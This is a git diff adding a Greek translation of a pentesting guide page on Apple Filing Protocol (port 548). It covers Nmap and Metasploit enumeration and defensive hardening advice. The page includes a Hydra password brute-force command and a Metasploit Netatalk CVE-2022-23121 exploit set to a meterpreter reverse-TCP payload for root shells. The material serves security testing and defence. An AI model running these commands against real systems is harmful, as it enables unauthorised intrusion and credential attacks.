Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:07:16 +00:00
parent 8c09623e14
commit a8cb0fce02

View File

@ -4,27 +4,109 @@
## Basic Information
Το **Apple Filing Protocol** (**AFP**), γνωστό παλαιότερα ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται μέσα στην **Apple File Service** (**AFS**). Είναι σχεδιασμένο να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων POSIX και λιστών ελέγχου πρόσβασης, πόρων forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων. Ήταν το κύριο πρωτόκολλο για υπηρεσίες αρχείων στο Mac OS 9 και σε παλαιότερες εκδόσεις.
Το **Apple Filing Protocol** (**AFP**), γνωστό κάποτε ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται μέσα στην **Apple File Service** (**AFS**). Είναι σχεδιασμένο να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων τύπου POSIX και ACL, resource forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων.
**Default Port:** 548
Αν και το AFP έχει αντικατασταθεί από το SMB στις σύγχρονες εκδόσεις macOS (το SMB είναι το προεπιλεγμένο από το OS X 10.9), εξακολουθεί να συναντάται σε:
* Κληρονομημένα περιβάλλοντα macOS / Mac OS 9
* Συσκευές NAS (QNAP, Synology, Western Digital, TrueNAS…) που ενσωματώνουν τον ανοιχτού κώδικα δαίμονα **Netatalk**
* Δίκτυα μικτής πλατφόρμας όπου το Time-Machine-over-AFP είναι ακόμα ενεργοποιημένο
**Default TCP Port:** **548** (AFP over TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **Καταμέτρηση**
---
Για την καταμέτρηση των υπηρεσιών AFP, οι παρακάτω εντολές και σενάρια είναι χρήσιμα:
## Enumeration
### Γρήγορη πληροφορία για banner / διακομιστή
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**Σενάρια και Περιγραφές τους:**
Χρήσιμα σενάρια NSE για AFP:
- **afp-ls**: Αυτό το σενάριο χρησιμοποιείται για να καταγράψει τους διαθέσιμους όγκους και αρχεία AFP.
- **afp-path-vuln**: Καταγράφει όλους τους όγκους και τα αρχεία AFP, επισημαίνοντας πιθανές ευπάθειες.
- **afp-serverinfo**: Παρέχει λεπτομερείς πληροφορίες σχετικά με τον διακομιστή AFP.
- **afp-showmount**: Καταγράφει τις διαθέσιμες κοινές AFP μαζί με τα αντίστοιχα ACL τους.
| Σενάριο | Τι κάνει |
|--------|--------------|
| **afp-ls** | Λίστα διαθέσιμων όγκων και αρχείων AFP |
| **afp-brute** | Επιθέσεις brute-force κωδικών πρόσβασης κατά της σύνδεσης AFP |
| **afp-serverinfo** | Εξαγωγή ονόματος διακομιστή, τύπου μηχανής, έκδοσης AFP, υποστηριζόμενων UAMs, κ.λπ. |
| **afp-showmount** | Λίστα κοινών πόρων μαζί με τα ACL τους |
| **afp-path-vuln** | Ανίχνευση (και δυνατότητα εκμετάλλευσης) διαδρομής καταλόγου, CVE-2010-0533 |
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
Το σενάριο brute-force NSE μπορεί να συνδυαστεί με Hydra/Medusa αν απαιτείται περισσότερος έλεγχος:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### Αλληλεπίδραση με κοινές χρήσεις
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (χρησιμοποιώντας `afpfs-ng` πακέτο σε πολλές διανομές)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
Μόλις τοποθετηθεί, θυμηθείτε ότι οι κλασικοί πόροι Mac αποθηκεύονται ως κρυφά `._*` αρχεία AppleDouble αυτά συχνά περιέχουν ενδιαφέροντα μεταδεδομένα που παραλείπουν τα εργαλεία DFIR.
---
## Κοινές Ευπάθειες & Εκμετάλλευση
### Αλυσίδα RCE χωρίς αυθεντικοποίηση Netatalk (2022)
Πολλοί προμηθευτές NAS παρέδωσαν **Netatalk ≤3.1.12**. Η έλλειψη ελέγχου ορίων στη `parse_entries()` επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει έναν κακόβουλο **AppleDouble** επικεφαλίδα και να αποκτήσει **απομακρυσμένο root** πριν από την αυθεντικοποίηση (**CVSS 9.8 CVE-2022-23121**). Μια πλήρης ανάλυση από την NCC Group με PoC που εκμεταλλεύεται το Western-Digital PR4100 είναι διαθέσιμη.
Το Metasploit (>= 6.3) περιλαμβάνει το module `exploit/linux/netatalk/parse_entries` το οποίο παραδίδει το payload μέσω DSI `WRITE`.
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
Αν ο στόχος εκτελεί μια επηρεαζόμενη έκδοση firmware QNAP/Synology, η επιτυχής εκμετάλλευση αποφέρει ένα shell ως **root**.
### Heap overflow OpenSession Netatalk (2018)
Οι παλαιότερες εκδόσεις Netatalk (3.0.0 - 3.1.11) είναι ευάλωτες σε μια εγγραφή εκτός ορίων στον χειριστή **DSI OpenSession** που επιτρέπει την εκτέλεση μη αυθεντικοποιημένου κώδικα (**CVE-2018-1160**). Μια λεπτομερής ανάλυση και PoC δημοσιεύθηκαν από την Tenable Research.
### Άλλα αξιοσημείωτα ζητήματα
* **CVE-2022-22995** Ανακατεύθυνση symlink που οδηγεί σε αυθαίρετη εγγραφή αρχείου / RCE όταν είναι ενεργοποιημένο το AppleDouble v2 (3.1.0 - 3.1.17).
* **CVE-2010-0533** Διέλευση καταλόγου στο Apple Mac OS X 10.6 AFP (ανιχνεύθηκε από `afp-path-vuln.nse`).
* Πολλαπλά σφάλματα ασφάλειας μνήμης διορθώθηκαν στο **Netatalk 4.x (2024)** προτείνεται η αναβάθμιση αντί της επιδιόρθωσης μεμονωμένων CVEs.
---
## Συστάσεις Άμυνας
1. **Απενεργοποιήστε το AFP** εκτός αν είναι απολύτως απαραίτητο χρησιμοποιήστε SMB3 ή NFS αντί αυτού.
2. Αν το AFP πρέπει να παραμείνει, **αναβαθμίστε το Netatalk σε ≥ 3.1.18 ή 4.x**, ή εφαρμόστε firmware προμηθευτή που επιστρέφει τις επιδιορθώσεις του 2022/2023/2024.
3. Επιβάλετε **ισχυρούς UAMs** (π.χ. *DHX2*), απενεργοποιήστε τις συνδέσεις σε καθαρό κείμενο και τις συνδέσεις επισκεπτών.
4. Περιορίστε το TCP 548 σε αξιόπιστα υποδίκτυα και τυλίξτε το AFP μέσα σε ένα VPN όταν εκτίθεται απομακρυσμένα.
5. Σαρώστε περιοδικά με `nmap -p 548 --script afp-*` σε CI/CD για να εντοπίσετε κακόβουλες / υποβαθμισμένες συσκευές.
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## Αναφορές
* Netatalk Security Advisory CVE-2022-23121 "Αυθαίρετη εκτέλεση κώδικα στο parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "Εκμετάλλευση ενός σφάλματος 18 ετών (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}